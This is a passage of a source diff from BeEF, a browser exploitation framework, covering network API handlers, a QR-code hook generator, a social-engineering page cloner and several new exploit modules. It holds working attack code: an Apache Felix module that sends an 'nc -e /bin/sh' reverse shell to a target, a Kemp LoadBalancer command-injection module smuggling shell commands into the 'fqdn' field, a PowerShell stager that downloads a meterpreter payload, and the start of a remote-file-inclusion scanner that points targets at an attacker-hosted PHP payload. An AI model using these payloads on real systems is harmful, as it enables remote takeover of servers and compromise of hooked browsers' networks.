hosts = @nh.all(:hooked_browser_id => id, :unique => true, :order => [:id.asc])
|
||||
count = hosts.length
|
||||
|
||||
result = {}
|
||||
result[:count] = count
|
||||
result[:hosts] = hosts
|
||||
result.to_json
|
||||
rescue InvalidParamError => e
|
||||
print_error e.message
|
||||
halt 400
|
||||
rescue StandardError => e
|
||||
print_error "Internal error while retrieving hosts list for hooked browser with id #{id} (#{e.message})"
|
||||
halt 500
|
||||
end
|
||||
end
|
||||
|
||||
# Returns all services given a specific hooked browser id
|
||||
get '/services/:id' do
|
||||
begin
|
||||
id = params[:id]
|
||||
|
||||
services = @ns.all(:hooked_browser_id => id, :unique => true, :order => [:id.asc])
|
||||
count = services.length
|
||||
|
||||
result = {}
|
||||
result[:count] = count
|
||||
result[:services] = services
|
||||
result.to_json
|
||||
rescue InvalidParamError => e
|
||||
print_error e.message
|
||||
halt 400
|
||||
rescue StandardError => e
|
||||
print_error "Internal error while retrieving service list for hooked browser with id #{id} (#{e.message})"
|
||||
halt 500
|
||||
end
|
||||
end
|
||||
|
||||
# Returns a specific host given its id
|
||||
get '/host/:id' do
|
||||
begin
|
||||
id = params[:id]
|
||||
|
||||
host = @nh.all(:id => id)
|
||||
raise InvalidParamError, 'id' if host.nil?
|
||||
halt 404 if host.empty?
|
||||
|
||||
host.to_json
|
||||
rescue InvalidParamError => e
|
||||
print_error e.message
|
||||
halt 400
|
||||
rescue StandardError => e
|
||||
print_error "Internal error while retrieving host with id #{id} (#{e.message})"
|
||||
halt 500
|
||||
end
|
||||
end
|
||||
|
||||
# Returns a specific service given its id
|
||||
get '/service/:id' do
|
||||
begin
|
||||
id = params[:id]
|
||||
|
||||
service = @ns.all(:id => id)
|
||||
raise InvalidParamError, 'id' if service.nil?
|
||||
halt 404 if service.empty?
|
||||
|
||||
service.to_json
|
||||
rescue InvalidParamError => e
|
||||
print_error e.message
|
||||
halt 400
|
||||
rescue StandardError => e
|
||||
print_error "Internal error while retrieving service with id #{id} (#{e.message})"
|
||||
halt 500
|
||||
end
|
||||
end
|
||||
|
||||
# Raised when invalid JSON input is passed to an /api/network handler.
|
||||
class InvalidJsonError < StandardError
|
||||
|
||||
DEFAULT_MESSAGE = 'Invalid JSON input passed to /api/network handler'
|
||||
|
||||
def initialize(message = nil)
|
||||
super(message || DEFAULT_MESSAGE)
|
||||
end
|
||||
|
||||
end
|
||||
|
||||
# Raised when an invalid named parameter is passed to an /api/network handler.
|
||||
class InvalidParamError < StandardError
|
||||
|
||||
DEFAULT_MESSAGE = 'Invalid parameter passed to /api/network handler'
|
||||
|
||||
def initialize(message = nil)
|
||||
str = "Invalid \"%s\" parameter passed to /api/network handler"
|
||||
message = sprintf str, message unless message.nil?
|
||||
super(message)
|
||||
end
|
||||
|
||||
end
|
||||
|
||||
end
|
||||
|
||||
end
|
||||
end
|
||||
end
|
||||
@@ -61,19 +61,20 @@ module BeEF
|
||||
|
||||
# HTTP version # defaults to 1.0
|
||||
version = request_line[/HTTP\/(1\.\d)\s*$/, 1]
|
||||
version = "1.0" if version.nil?
|
||||
version = "HTTP/1.0" if version.nil?
|
||||
|
||||
# url # host:port/path
|
||||
url = url_prefix + request_line[/^\w+\s+(\S+)/, 1]
|
||||
|
||||
# We're overwriting the URI::Parser UNRESERVED regex to prevent BAD URI errors when sending attack vectors (see tolerant_parser)
|
||||
# anti: somehow the config below was removed, have a look into this
|
||||
tolerant_parser = URI::Parser.new(:UNRESERVED => BeEF::Core::Configuration.instance.get("beef.extension.requester.uri_unreserved_chars"))
|
||||
uri = tolerant_parser.parse(url.to_s)
|
||||
|
||||
method, path, version = request_line.split(" ")
|
||||
path = url_prefix + path
|
||||
# extensions/requester/api/hook.rb parses raw_request to find port and path
|
||||
raw_request = [method, path, version].join(" ")
|
||||
raw_request = [method, path, version].join(" ") + "\r\n"
|
||||
content_length = 0
|
||||
|
||||
loop do
|
||||
@@ -158,7 +159,7 @@ module BeEF
|
||||
end
|
||||
end
|
||||
|
||||
res = "HTTP/#{version} #{response_status}\r\n#{response_headers}\r\n\r\n#{response_body}"
|
||||
res = "#{version} #{response_status}\r\n#{response_headers}\r\n\r\n#{response_body}"
|
||||
socket.write(res)
|
||||
socket.close
|
||||
end
|
||||
|
||||
@@ -7,8 +7,8 @@ beef:
|
||||
extension:
|
||||
qrcode:
|
||||
name: 'QR Code Generator'
|
||||
enable: false
|
||||
authors: ["xntrik"]
|
||||
target: ["/demos/basic.html"]
|
||||
qrsize: "300x300"
|
||||
|
||||
enable: false
|
||||
authors: ["xntrik", "bcoles"]
|
||||
targets: ["/demos/basic.html", "http://beefproject.com/"]
|
||||
qrsize: 3
|
||||
qrborder: 1
|
||||
|
||||
@@ -11,10 +11,10 @@ module Qrcode
|
||||
|
||||
@short_name = 'qrcode'
|
||||
@full_name = 'QR Code Generator'
|
||||
@description = 'This extension prints out a link to a QR Code which can be used to hook browsers into BeEF'
|
||||
@description = 'This extension generates QR Codes for specified URLs which can be used to hook browsers into BeEF.'
|
||||
|
||||
end
|
||||
end
|
||||
end
|
||||
|
||||
require 'extensions/qrcode/qrcode'
|
||||
require 'extensions/qrcode/qrcode'
|
||||
|
||||
@@ -13,49 +13,79 @@ module Qrcode
|
||||
|
||||
def self.pre_http_start(http_hook_server)
|
||||
require 'uri'
|
||||
require 'qr4r'
|
||||
|
||||
fullurls = []
|
||||
partialurls = []
|
||||
|
||||
# get server config
|
||||
configuration = BeEF::Core::Configuration.instance
|
||||
beef_proto = configuration.get('beef.http.https.enable') == true ? "https" : "http"
|
||||
beef_host = configuration.get("beef.http.public") || configuration.get("beef.http.host")
|
||||
beef_port = configuration.get("beef.http.public_port") || configuration.get("beef.http.port")
|
||||
|
||||
configuration.get("beef.extension.qrcode.target").each do |target|
|
||||
# get URLs from QR config
|
||||
configuration.get("beef.extension.qrcode.targets").each do |target|
|
||||
# absolute URLs
|
||||
if target.lines.grep(/^https?:\/\//i).size > 0
|
||||
fullurls << target
|
||||
# relative URLs
|
||||
else
|
||||
partialurls << target
|
||||
end
|
||||
end
|
||||
|
||||
if fullurls.size > 0
|
||||
print_success "Custom QRCode images available:"
|
||||
data = ""
|
||||
fullurls.each do |target|
|
||||
url = URI.escape(target,Regexp.new("[^#{URI::PATTERN::UNRESERVED}]"))
|
||||
data += "https://chart.googleapis.com/chart?cht=qr&chs=#{configuration.get("beef.extension.qrcode.qrsize")}&chl=#{url}\n"
|
||||
end
|
||||
print_more data
|
||||
|
||||
end
|
||||
|
||||
if partialurls.size > 0
|
||||
BeEF::Core::Console::Banners.interfaces.each do |int|
|
||||
next if int == "localhost" or int == "127.0.0.1"
|
||||
print_success "QRCode images available for interface: #{int}"
|
||||
data = ""
|
||||
partialurls.each do |target|
|
||||
url = "http://#{int}:#{configuration.get("beef.http.port")}#{target}"
|
||||
url = URI.escape(url,Regexp.new("[^#{URI::PATTERN::UNRESERVED}]"))
|
||||
data += "https://chart.googleapis.com/chart?cht=qr&chs=#{configuration.get("beef.extension.qrcode.qrsize")}&chl=#{url}\n"
|
||||
# network interfaces
|
||||
BeEF::Core::Console::Banners.interfaces.each do |int|
|
||||
next if int == "0.0.0.0"
|
||||
fullurls << "#{beef_proto}://#{int}:#{beef_port}#{target}"
|
||||
end
|
||||
# beef host
|
||||
unless beef_host == "0.0.0.0"
|
||||
fullurls << "#{beef_proto}://#{beef_host}:#{beef_port}#{target}"
|
||||
end
|
||||
print_more data
|
||||
end
|
||||
end
|
||||
|
||||
unless fullurls.empty?
|
||||
img_dir = 'extensions/qrcode/images'
|
||||
begin
|
||||
Dir.mkdir(img_dir) unless File.directory?(img_dir)
|
||||
rescue
|
||||
print_error "[QR] Could not create directory '#{img_dir}'"
|
||||
end
|
||||
data = ''
|
||||
fullurls.uniq.each do |target|
|
||||
fname = ('a'..'z').to_a.shuffle[0,8].join
|
||||
qr_path = "#{img_dir}/#{fname}.png"
|
||||
begin
|
||||
qr = Qr4r::encode(
|
||||
target, qr_path, {
|
||||
:pixel_size => configuration.get("beef.extension.qrcode.qrsize"),
|
||||
:border => configuration.get("beef.extension.qrcode.qrborder")
|
||||
})
|
||||
rescue
|
||||
print_error "[QR] Could not write file '#{qr_path}'"
|
||||
next
|
||||
end
|
||||
print_debug "[QR] Wrote file '#{qr_path}'"
|
||||
BeEF::Core::NetworkStack::Handlers::AssetHandler.instance.bind(
|
||||
"/#{qr_path}", "/qrcode/#{fname}", 'png')
|
||||
data += "#{beef_proto}://#{beef_host}:#{beef_port}/qrcode/#{fname}.png\n"
|
||||
data += "- URL: #{target}\n"
|
||||
# Google API
|
||||
#url = URI.escape(target,Regexp.new("[^#{URI::PATTERN::UNRESERVED}]"))
|
||||
#w = configuration.get("beef.extension.qrcode.qrsize").to_i * 100
|
||||
#h = configuration.get("beef.extension.qrcode.qrsize").to_i * 100
|
||||
#data += "- Google API: https://chart.googleapis.com/chart?cht=qr&chs=#{w}x#{h}&chl=#{url}\n"
|
||||
# QRServer.com
|
||||
#url = URI.escape(target,Regexp.new("[^#{URI::PATTERN::UNRESERVED}]"))
|
||||
#w = configuration.get("beef.extension.qrcode.qrsize").to_i * 100
|
||||
#h = configuration.get("beef.extension.qrcode.qrsize").to_i * 100
|
||||
#data += "- QRServer API: https://api.qrserver.com/v1/create-qr-code/?size=#{w}x#{h}&data=#{url}\n"
|
||||
end
|
||||
print_info "QR code images available:"
|
||||
print_more data
|
||||
end
|
||||
end
|
||||
|
||||
end
|
||||
|
||||
|
||||
end
|
||||
end
|
||||
end
|
||||
|
||||
@@ -71,17 +71,15 @@ module BeEF
|
||||
|
||||
req_parts = http_db_object.request.split(/ |\n/)
|
||||
|
||||
@host = http_db_object.domain
|
||||
@port = http_db_object.port
|
||||
|
||||
#@note: retrieve HTTP headers values needed later, and the \r\n that indicates the start of the post-data (if any)
|
||||
req_parts.each_with_index do |value, index|
|
||||
if value.match(/^Content-Length:\s+(\d+)/)
|
||||
@content_length = Integer(req_parts[index].split(/:\s+/)[1])
|
||||
end
|
||||
|
||||
if value.match(/^Host/)
|
||||
@host = req_parts[index].split(/:\s+/)[1].split(/:/)[0]
|
||||
@port = req_parts[index].split(/:\s+/)[1].split(/:/)[1]
|
||||
end
|
||||
|
||||
if value.eql?("") or value.strip.empty? # this will be the CRLF (before HTTP request body)
|
||||
@post_data_index = index
|
||||
end
|
||||
|
||||
@@ -13,6 +13,7 @@ beef:
|
||||
# NOTE: you must have 'wget' in your PATH
|
||||
add_beef_hook: true
|
||||
user_agent: "Mozilla/5.0 (Windows NT 6.1; rv:15.0) Gecko/20120716 Firefox/15.0a2"
|
||||
verify_ssl: true
|
||||
mass_mailer:
|
||||
# NOTE: you must have 'file' in your PATH
|
||||
user_agent: "Microsoft-MacOutlook/12.12.0.111556"
|
||||
@@ -20,6 +21,7 @@ beef:
|
||||
port: 587
|
||||
use_auth: true
|
||||
use_tls: true
|
||||
verify_ssl: true
|
||||
helo: "gmail.com" # this is usually the domain name
|
||||
auth: "youruser@gmail.com"
|
||||
password: "yourpass"
|
||||
@@ -50,4 +52,4 @@ beef:
|
||||
# the default payload being used is windows/meterpreter/reverse_https
|
||||
msf_reverse_handler_host: "127.0.0.1"
|
||||
msf_reverse_handler_port: "443"
|
||||
powershell_handler_url: "/ps"
|
||||
powershell_handler_url: "/ps"
|
||||
|
||||
@@ -31,7 +31,9 @@ module BeEF
|
||||
# create new SSL context and disable CA chain validation
|
||||
if @config.get("#{@config_prefix}.use_tls")
|
||||
@ctx = OpenSSL::SSL::SSLContext.new
|
||||
@ctx.verify_mode = OpenSSL::SSL::VERIFY_NONE # In case the SMTP server uses a self-signed cert, we proceed anyway
|
||||
if not @config.get("#{@config_prefix}.verify_ssl")
|
||||
@ctx.verify_mode = OpenSSL::SSL::VERIFY_NONE # In case the SMTP server uses a self-signed cert, we proceed anyway
|
||||
end
|
||||
@ctx.ssl_version = "TLSv1"
|
||||
end
|
||||
|
||||
|
||||
@@ -16,7 +16,7 @@ module BeEF
|
||||
# Change the default payload URL (DownloadString('http://172.16.37.1/ps/ps.png'))) with your BeEF server and powershell URL settings.
|
||||
# By default powershell will be served from http://beef_server:beef_port/ps/ps.png
|
||||
#
|
||||
# NOTE: make sure you change the 'host' variable in the main BeEF config.yaml from 0.0.0.0 to the specific IP where BeEF is binded to,
|
||||
# NOTE: make sure you change the 'beef.http.public' variable in the main BeEF config.yaml to the specific IP where BeEF is binded to,
|
||||
# and also the powershell-related variable in extensions/social_engineering/config.yaml
|
||||
class Bind_powershell < BeEF::Core::Router::Router
|
||||
before do
|
||||
@@ -59,4 +59,4 @@ module BeEF
|
||||
end
|
||||
end
|
||||
end
|
||||
end
|
||||
end
|
||||
|
||||
@@ -400,13 +400,39 @@ function Invoke-ps
|
||||
{
|
||||
$SSL = 's'
|
||||
# Accept invalid certificates
|
||||
[System.Net.ServicePointManager]::ServerCertificateValidationCallback = { $true }
|
||||
[System.Net.ServicePointManager]::ServerCertificateValidationCallback = {$true}
|
||||
}
|
||||
}
|
||||
|
||||
# Meterpreter expects 'INITM' in the URI in order to initiate stage 0. Awesome authentication, huh?
|
||||
$Request = "http$($SSL)://$($Lhost):$($Lport)/INITM"
|
||||
Write-Verbose "Requesting meterpreter payload from $Request"
|
||||
# Meterpreter to initiate stage 0.
|
||||
$chars = "ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789".ToCharArray()
|
||||
$x = ""
|
||||
function sum($v){
|
||||
return (([int[]] $v.ToCharArray() | Measure-Object -Sum).Sum % 0x100 -eq 92)
|
||||
}
|
||||
|
||||
function RandomChars{
|
||||
$f = "";1..3 | foreach-object {$f+= $chars[(Get-Random -maximum $chars.Length)]};
|
||||
return $f;
|
||||
}
|
||||
|
||||
function RandomArray { process {[array]$x = $x + $_}; end {$x | sort-object {(new-object Random).next()}}}
|
||||
|
||||
function Generate{
|
||||
for ($i=0; $i -lt 64; $i++){
|
||||
$h = RandomChars;$k = $d | RandomArray;
|
||||
foreach ($l in $k){
|
||||
$s = $h + $l; if (sum($s)){
|
||||
return $s}
|
||||
}
|
||||
return "9vXU";
|
||||
}
|
||||
}
|
||||
|
||||
|
||||
$GeneratedURI = Generate;
|
||||
$Request = "http$($SSL)://$($Lhost):$($Lport)/$GeneratedURI"
|
||||
Write-Verbose "Requesting meterpreter payload from $Request"
|
||||
|
||||
$Uri = New-Object Uri($Request)
|
||||
$WebClient = New-Object System.Net.WebClient
|
||||
|
||||
@@ -61,6 +61,7 @@ module BeEF
|
||||
result = {
|
||||
"success" => false
|
||||
}.to_json
|
||||
halt 500
|
||||
end
|
||||
end
|
||||
|
||||
|
||||
@@ -15,7 +15,9 @@ module BeEF
|
||||
@config = BeEF::Core::Configuration.instance
|
||||
@cloned_pages_dir = "#{File.expand_path('../../../../extensions/social_engineering/web_cloner', __FILE__)}/cloned_pages/"
|
||||
beef_proto = @config.get("beef.http.https.enable") == true ? "https" : "http"
|
||||
@beef_hook = "#{beef_proto}://#{@config.get('beef.http.host')}:#{@config.get('beef.http.port')}#{@config.get('beef.http.hook_file')}"
|
||||
beef_host = @config.get("beef.http.public") || @config.get("beef.http.host")
|
||||
beef_port = @config.get("beef.http.public_port") || @config.get("beef.http.port")
|
||||
@beef_hook = "#{beef_proto}://#{beef_host}:#{beef_port}#{@config.get('beef.http.hook_file')}"
|
||||
end
|
||||
|
||||
def clone_page(url, mount, use_existing, dns_spoof)
|
||||
@@ -37,12 +39,18 @@ module BeEF
|
||||
#
|
||||
if use_existing.nil? || use_existing == false
|
||||
begin #,"--background"
|
||||
IO.popen(["wget", "#{url}", "-c", "-k", "-O", "#{@cloned_pages_dir + output}", "-U", "#{user_agent}", "--no-check-certificate"], 'r+') do |wget_io|
|
||||
cmd = ["wget", "#{url}", "-c", "-k", "-O", "#{@cloned_pages_dir + output}", "-U", "#{user_agent}", '--read-timeout', '60', '--tries', '3']
|
||||
if not @config.get('beef.extension.social_engineering.web_cloner.verify_ssl')
|
||||
cmd << "--no-check-certificate"
|
||||
end
|
||||
print_debug "Running command: #{cmd.join(' ')}"
|
||||
IO.popen(cmd, 'r+') do |wget_io|
|
||||
end
|
||||
success = true
|
||||
rescue Errno::ENOENT => e
|
||||
print_error "Looks like wget is not in your PATH. If 'which wget' returns null, it means you don't have 'wget' in your PATH."
|
||||
rescue => e
|
||||
print_error "Errors executing wget: #{e}"
|
||||
print_error "Looks like wget is not in your PATH. If 'which wget' returns null, it means you don't have 'wget' in your PATH."
|
||||
end
|
||||
|
||||
if success
|
||||
@@ -167,7 +175,9 @@ module BeEF
|
||||
http = Net::HTTP.new(uri.host, uri.port)
|
||||
if uri.scheme == "https"
|
||||
http.use_ssl = true
|
||||
http.verify_mode = OpenSSL::SSL::VERIFY_NONE
|
||||
if not @config.get('beef.extension.social_engineering.web_cloner.verify_ssl')
|
||||
http.verify_mode = OpenSSL::SSL::VERIFY_NONE
|
||||
end
|
||||
end
|
||||
request = Net::HTTP::Get.new(uri.request_uri)
|
||||
response = http.request(request)
|
||||
|
||||
@@ -9,6 +9,6 @@ beef:
|
||||
name: 'WebRTC'
|
||||
enable: false
|
||||
authors: ["xntrik"]
|
||||
stunservers: '["stun:stun.l.google.com:19302","stun:stun1.l.google.com:19302"]'
|
||||
stunservers: '["stun:stun.l.google.com:19302","stun:stun1.l.google.com:19302","turn:numb.viagenie.ca:3478"]'
|
||||
# stunservers: '["stun:stun.l.google.com:19302"]'
|
||||
turnservers: '{"username": "someone%40somewhere.com", "password": "somepass", "uris": ["turn:numb.viagenie.ca:3478?transport=udp","turn:numb.viagenie.ca:3478?transport=tcp"]}'
|
||||
turnservers: '{"username": "someone%40somewhere.com", "password": "somepass", "uris": ["turn:numb.viagenie.ca:3478?transport=udp","turn:numb.viagenie.ca:3478?transport=tcp"]}'
|
||||
|
||||
@@ -152,7 +152,7 @@ module BeEF
|
||||
# +++ Example with curl +++
|
||||
# curl -H "Content-type: application/json; charset=UTF-8" -v
|
||||
# -X POST -d '{"from":1,"to":2,"message":"Just a plain message"}'
|
||||
# http://127.0.0.1:3000/api/webrtc/go\?token\=df67654b03d030d97018f85f0284247d7f49c348
|
||||
# http://127.0.0.1:3000/api/webrtc/msg\?token\=df67654b03d030d97018f85f0284247d7f49c348
|
||||
#
|
||||
# Available client-side "message" options and handling:
|
||||
# !gostealth - will put the <to> browser into a stealth mode
|
||||
|
||||
@@ -3,6 +3,7 @@
|
||||
Copyright (c) 2013 Niklas von Hertzen (@niklasvh)
|
||||
|
||||
Released under MIT License
|
||||
Modified for BeEF <http://beefproject.com>
|
||||
*/
|
||||
(function(window, document, undefined){
|
||||
|
||||
@@ -15,7 +16,7 @@ html2canvas;
|
||||
|
||||
function h2clog(a) {
|
||||
if (_html2canvas.logging && window.console && window.console.log) {
|
||||
window.console.log(a);
|
||||
beef.debug(a);
|
||||
}
|
||||
}
|
||||
|
||||
@@ -2801,7 +2802,7 @@ _html2canvas.Renderer.Canvas = function(options) {
|
||||
if (storageContext.clip){
|
||||
ctx.save();
|
||||
ctx.beginPath();
|
||||
// console.log(storageContext);
|
||||
// beef.debug(storageContext);
|
||||
ctx.rect(storageContext.clip.left, storageContext.clip.top, storageContext.clip.width, storageContext.clip.height);
|
||||
ctx.clip();
|
||||
}
|
||||
@@ -2838,4 +2839,4 @@ _html2canvas.Renderer.Canvas = function(options) {
|
||||
return canvas;
|
||||
};
|
||||
};
|
||||
})(window,document);
|
||||
})(window,document);
|
||||
|
||||
@@ -11,9 +11,11 @@ beef:
|
||||
name: "Test CORS Request"
|
||||
description: "Test the beef.net.cors.request function by retrieving a URL."
|
||||
authors: ["bcoles"]
|
||||
# http://caniuse.com/cors
|
||||
target:
|
||||
working: ["ALL"]
|
||||
not_working:
|
||||
# CORS is partially supported on IE 8 & 9
|
||||
IE:
|
||||
min_ver: 6
|
||||
max_ver: 7
|
||||
@@ -22,7 +24,10 @@ beef:
|
||||
max_ver: 11
|
||||
C:
|
||||
min_ver: 1
|
||||
max_ver: 2
|
||||
max_ver: 3
|
||||
S:
|
||||
min_ver: 1
|
||||
max_ver: 3
|
||||
F:
|
||||
min_ver: 1
|
||||
max_ver: 3
|
||||
|
||||
@@ -14,7 +14,7 @@ beef.execute(function() {
|
||||
var curl = "<%= @command_url %>";
|
||||
var cid = "<%= @command_id %>";
|
||||
|
||||
console.log("The current value of " + payload + " is " + Window[payload]);
|
||||
beef.debug("The current value of " + payload + " is " + Window[payload]);
|
||||
beef.net.send(curl, parseInt(cid),'get_variable=true');
|
||||
|
||||
});
|
||||
|
||||
51
modules/exploits/apache_felix_remote_shell/command.js
Normal file
@@ -0,0 +1,51 @@
|
||||
//
|
||||
// Copyright (c) 2006-2014 Wade Alcorn - wade@bindshell.net
|
||||
// Browser Exploitation Framework (BeEF) - http://beefproject.com
|
||||
// See the file 'doc/COPYING' for copying permission
|
||||
//
|
||||
|
||||
beef.execute(function() {
|
||||
var rhost = '<%= @rhost %>';
|
||||
var rport = '<%= @rport %>';
|
||||
var lhost = '<%= @lhost %>';
|
||||
var lport = '<%= @lport %>';
|
||||
var payload_name = 'reverse_netcat';
|
||||
var timeout = 15;
|
||||
var peer = rhost + ':' + rport;
|
||||
|
||||
cleanup = function() {
|
||||
try {
|
||||
document.body.removeChild(felix_exec_iframe_<%= @command_id %>);
|
||||
} catch(e) {
|
||||
beef.debug("Could not remove iframe: " + e.message);
|
||||
}
|
||||
}
|
||||
setTimeout("cleanup()", timeout*1000);
|
||||
|
||||
payload = function() {
|
||||
var whitespace = '';
|
||||
for (var i=0; i<Math.floor(Math.random()*10)+3; i++) whitespace += ' ';
|
||||
var payload = '';
|
||||
switch (payload_name) {
|
||||
default: // "reverse_netcat":
|
||||
payload = 'exec "/bin/nc ' + lhost + ' ' + lport + ' -e /bin/sh" ';
|
||||
payload = payload.replace(/ /g, whitespace);
|
||||
break;
|
||||
}
|
||||
return payload
|
||||
}
|
||||
|
||||
exploit = function() {
|
||||
var code = payload();
|
||||
beef.debug(peer + " - Sending payload (" + code.length + " bytes)");
|
||||
var felix_exec_iframe_<%= @command_id %> = beef.dom.createIframeIpecForm(rhost, rport, "/", code);
|
||||
beef.net.send("<%= @command_url %>", <%= @command_id %>, "result=exploit attempted");
|
||||
}
|
||||
|
||||
try {
|
||||
exploit();
|
||||
} catch(e) {
|
||||
beef.debug(peer + " - Exploit failed: " + e.message);
|
||||
}
|
||||
|
||||
});
|
||||
15
modules/exploits/apache_felix_remote_shell/config.yaml
Normal file
@@ -0,0 +1,15 @@
|
||||
#
|
||||
# Copyright (c) 2006-2014 Wade Alcorn - wade@bindshell.net
|
||||
# Browser Exploitation Framework (BeEF) - http://beefproject.com
|
||||
# See the file 'doc/COPYING' for copying permission
|
||||
#
|
||||
beef:
|
||||
module:
|
||||
apache_felix_remote_shell:
|
||||
enable: true
|
||||
category: "Exploits"
|
||||
name: "Apache Felix Remote Shell (Reverse Shell)"
|
||||
description: "This module attempts to get a reverse shell on an Apache Felix Remote Shell server using the 'exec' command. The org.eclipse.osgi and org.eclipse.equinox.console bundles must be installed and active."
|
||||
authors: ["bcoles"]
|
||||
target:
|
||||
working: ["ALL"]
|
||||
24
modules/exploits/apache_felix_remote_shell/module.rb
Normal file
@@ -0,0 +1,24 @@
|
||||
#
|
||||
# Copyright (c) 2006-2014 Wade Alcorn - wade@bindshell.net
|
||||
# Browser Exploitation Framework (BeEF) - http://beefproject.com
|
||||
# See the file 'doc/COPYING' for copying permission
|
||||
#
|
||||
class Apache_felix_remote_shell < BeEF::Core::Command
|
||||
|
||||
def self.options
|
||||
configuration = BeEF::Core::Configuration.instance
|
||||
lhost = configuration.get("beef.http.public") || configuration.get("beef.http.host")
|
||||
lhost = "" if lhost == "0.0.0.0"
|
||||
return [
|
||||
{ 'name' => 'rhost', 'ui_label' => 'Target Host', 'value' => '127.0.0.1' },
|
||||
{ 'name' => 'rport', 'ui_label' => 'Target Port', 'value' => '6666' },
|
||||
{ 'name' => 'lhost', 'ui_label' => 'Local Host', 'value' => lhost },
|
||||
{ 'name' => 'lport', 'ui_label' => 'Local Port', 'value' => '4444' }
|
||||
]
|
||||
end
|
||||
|
||||
def post_execute
|
||||
save({'result' => @datastore['result']})
|
||||
end
|
||||
|
||||
end
|
||||
37
modules/exploits/kemp_command_execution/command.js
Normal file
@@ -0,0 +1,37 @@
|
||||
//
|
||||
// Copyright (c) 2006-2014 Wade Alcorn - wade@bindshell.net
|
||||
// Browser Exploitation Framework (BeEF) - http://beefproject.com
|
||||
// See the file 'doc/COPYING' for copying permission
|
||||
//
|
||||
|
||||
beef.execute(function() {
|
||||
|
||||
var rhost = '<%= @rhost %>';
|
||||
var rport = '<%= @rport %>';
|
||||
var timeout = '<%= @timeout %>';
|
||||
|
||||
|
||||
var path = '/progs/geoctrl/doadd';
|
||||
var cmd = "<%= @cmd %>";
|
||||
|
||||
if (rhost.substring(0,5) == "https") {
|
||||
rhost = rhost.replace("https://","")
|
||||
protocol = "https"
|
||||
}
|
||||
else {
|
||||
rhost = rhost.replace("http://","")
|
||||
protocol = "http"
|
||||
}
|
||||
|
||||
|
||||
beef.net.forge_request(protocol, "POST", rhost, rport, path, null, null, { fqdn: "' <%= @cmd %>'" }, 10, 'html', false, null, function(response) {
|
||||
resp = response.headers+response.response_body;
|
||||
start = resp.indexOf("Content-Type: text/html");
|
||||
end = resp.indexOf("Cache-Control: no-cache");
|
||||
final = resp.slice(start+23,end)
|
||||
beef.net.send("<%= @command_url %>", <%= @command_id %>, final)
|
||||
});
|
||||
|
||||
|
||||
|
||||
});
|
||||
15
modules/exploits/kemp_command_execution/config.yaml
Normal file
@@ -0,0 +1,15 @@
|
||||
#
|
||||
# Copyright (c) 2006-2014 Wade Alcorn - wade@bindshell.net
|
||||
# Browser Exploitation Framework (BeEF) - http://beefproject.com
|
||||
# See the file 'doc/COPYING' for copying permission
|
||||
#
|
||||
beef:
|
||||
module:
|
||||
kemp_command_execution:
|
||||
enable: true
|
||||
category: "Exploits"
|
||||
name: "Kemp LoadBalancer Command Execution"
|
||||
description: "This module exploits a remote code execution vulnerability in Kemp LoadBalancer 7.1-16.<br/>More information can be found here: <a href='http://blog.malerisch.net/2015/04/playing-with-kemp-load-master.html'>http://blog.malerisch.net/2015/04/playing-with-kemp-load-master.html</a><br/>"
|
||||
authors: ["Roberto Suggi Liverani", "@malerisch", "CVE-2014-5287","CVE-2014-5288"]
|
||||
target:
|
||||
working: ["ALL"]
|
||||
22
modules/exploits/kemp_command_execution/module.rb
Normal file
@@ -0,0 +1,22 @@
|
||||
#
|
||||
# Copyright (c) 2006-2014 Wade Alcorn - wade@bindshell.net
|
||||
# Browser Exploitation Framework (BeEF) - http://beefproject.com
|
||||
# See the file 'doc/COPYING' for copying permission
|
||||
#
|
||||
class Kemp_command_execution < BeEF::Core::Command
|
||||
|
||||
def self.options
|
||||
return [
|
||||
{'name'=>'rhost', 'ui_label' => 'URL', 'value' => 'https://x.x.x.x'},
|
||||
{'name'=>'rport', 'ui_label' => 'Remote Port', 'value' => '443'},
|
||||
{'name'=>'timeout', 'ui_label' => 'Timeout (s)', 'value' => '15'},
|
||||
{'name'=>'cmd', 'ui_label' => 'Command', 'description' => 'Enter shell command to execute.', 'type'=>'textarea', 'value'=>"ls", 'width'=>'200px' },
|
||||
]
|
||||
end
|
||||
|
||||
def post_execute
|
||||
save({'result' => @datastore['result']}) if not @datastore['result'].nil?
|
||||
save({'fail' => @datastore['fail']}) if not @datastore['fail'].nil?
|
||||
end
|
||||
|
||||
end
|
||||
73
modules/exploits/rfi_scanner/command.js
Normal file
@@ -0,0 +1,73 @@
|
||||
//
|
||||
// Copyright (c) 2006-2015 Wade Alcorn - wade@bindshell.net
|
||||
// Browser Exploitation Framework (BeEF) - http://beefproject.com
|
||||
// See the file 'doc/COPYING' for copying permission
|
||||
//
|
||||
|
||||
beef.execute(function() {
|
||||
|
||||
var rproto = '<%= @rproto %>';
|
||||
var rhost = '<%= @rhost %>';
|
||||
var rport = '<%= @rport %>';
|
||||
var base_dir = '<%= @base_dir %>';
|
||||
var payload_url = beef.net.httpproto + '://'+beef.net.host+ ':' + beef.net.port + '/rfi_php_<%= @command_id %>.txt?';
|
||||
var target = rproto + '://' + rhost + ':' + rport + base_dir;
|
||||
var wait = '<%= @wait %>';
|
||||
|
||||
get_url = function(uri) {
|
||||
try {
|
||||
var xhr = new XMLHttpRequest();
|
||||
var rfi = uri.replace(/XXpathXX/g, payload_url);
|
||||
xhr.open('GET', target+rfi, true);
|
||||
xhr.onload = function () {
|
||||
};
|
||||
xhr.onreadystatechange = function () {
|
||||
if (xhr.readyState == 4 && xhr.status == 200) {
|
||||
beef.debug("[command #<%= @command_id %>] Response: " + xhr.response);
|
||||
}
|
||||
}
|
||||
xhr.send(null);
|
||||
} catch (e){
|
||||
beef.debug("[command #<%= @command_id %>] Something went wrong: " + e.message);
|
||||
}
|
||||
}
|
||||
|
||||
// add scripts to queue
|
||||
var requests = new Array(
|
||||
<%=
|
||||
scripts = []
|
||||
File.open("#{$root_dir}/modules/exploits/rfi_scanner/rfi.txt", 'r') do |file_handle|
|
||||
file_handle.each_line do |line|
|
||||
uri = line.chomp!
|
||||
next if uri =~ /^#/
|
||||
next if uri.nil?
|
||||
next if uri !~ /XXpathXX/
|
||||
scripts << "'#{uri.gsub("'", "\\\\'")}'"
|
||||
end
|
||||
end
|
||||
scripts.shuffle.join(",\n")
|
||||
%>
|
||||
);
|
||||
|
||||
// process queue
|
||||
beef.debug("[command #<%= @command_id %>] Starting RFI scan of "+target+" ("+requests.length+" URLs)");
|
||||
beef.net.send("<%= @command_url %>", <%= @command_id %>, "result=starting scan of "+target+" ("+requests.length+" URLs)");
|
||||
